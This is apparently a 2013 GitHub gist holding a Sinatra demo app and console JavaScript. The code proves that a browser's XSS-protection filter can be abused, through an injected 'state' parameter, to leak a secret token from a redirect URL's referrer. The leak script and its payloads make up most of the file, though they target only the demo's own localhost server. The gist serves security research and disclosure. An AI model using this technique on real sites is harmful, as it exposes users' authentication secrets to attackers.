homakov / demo.rb

Created February 03, 2013


    
    View demo.rb 
  
  
      demo.rb
    
    
        Raw
      
    
    File suppressed. Click to show.
  
  
            1
            2
            3
            4
            5
            6
            7
            8
            9
            10
            11
            12
            13
            14
            15
            16
            17
            18
            19
            20
            21
            22
            23
            24
            25
            26
            27
            28
            29
            30
            31
            32
            33
            34
            35
            36
            37
            38
            39
            40
            41
            42
            43
            44
            45
            46
            47
            48
            49
            50
            51
            52
            53
            54
            55
            56
            57
            58
            59
            60
            61
            62
            63
            64
            65
            66
            67
            68
            69
          
          
            require 'sinatra'
require 'securerandom'
 
=begin
Execute the following JavaScript on any domain, you can use web
inspector console.
Set noblock to remove mode=block and see <form> action=about:blank
case(requires user interaction)

var block = false;

if(block){
  var cut_me = encodeURIComponent('<script
src="http://localhost:4567/some.js"></script>');
}else{
  var cut_me = encodeURIComponent('<form action="/asdf">');
}
var playground = window.open(
'http://127.0.0.1:4567/auth?'+(block?'':'noblock=1&')+'state='+cut_me,
'n','height=1,width=1');

var int = setInterval(function(){
  if(playground.document){
        //it's about:blank now!
    alert('Leaked: '+playground.document.referrer);
    playground.close();
    clearInterval(int);
  }
}, 100);
=end
 
get '/auth' do
  redirect "/#{'noblock' if
params[:noblock]}?secret=#{SecureRandom.hex(10)}&state=#{params[:state]}"
end
 
get '/' do
#sinatra sends X-XSS-Protection:1; mode=block by default
  return r=<<HTML
<html>
  <head>
    <script src="http://localhost:4567/some.js"></script>
  </head>
</html>
HTML
end
 
get '/noblock' do
  headers['X-XSS-Protection'] = '1;' #no block mode
 
  return r=<<HTML
<html>
  <head>
    <script src="http://localhost:4567/some.js"></script>
  </head>
  <body>
    <form action="/asdf">
      <input type="submit" value="CLICK ME! NOW!">
      <input name="one" value="two">
    </form>
    <a href="javascript:omg(0)">link</a>
  </body>
</html>
HTML
end
 
get '/some.js' do
  'console.log("swaaag")'
end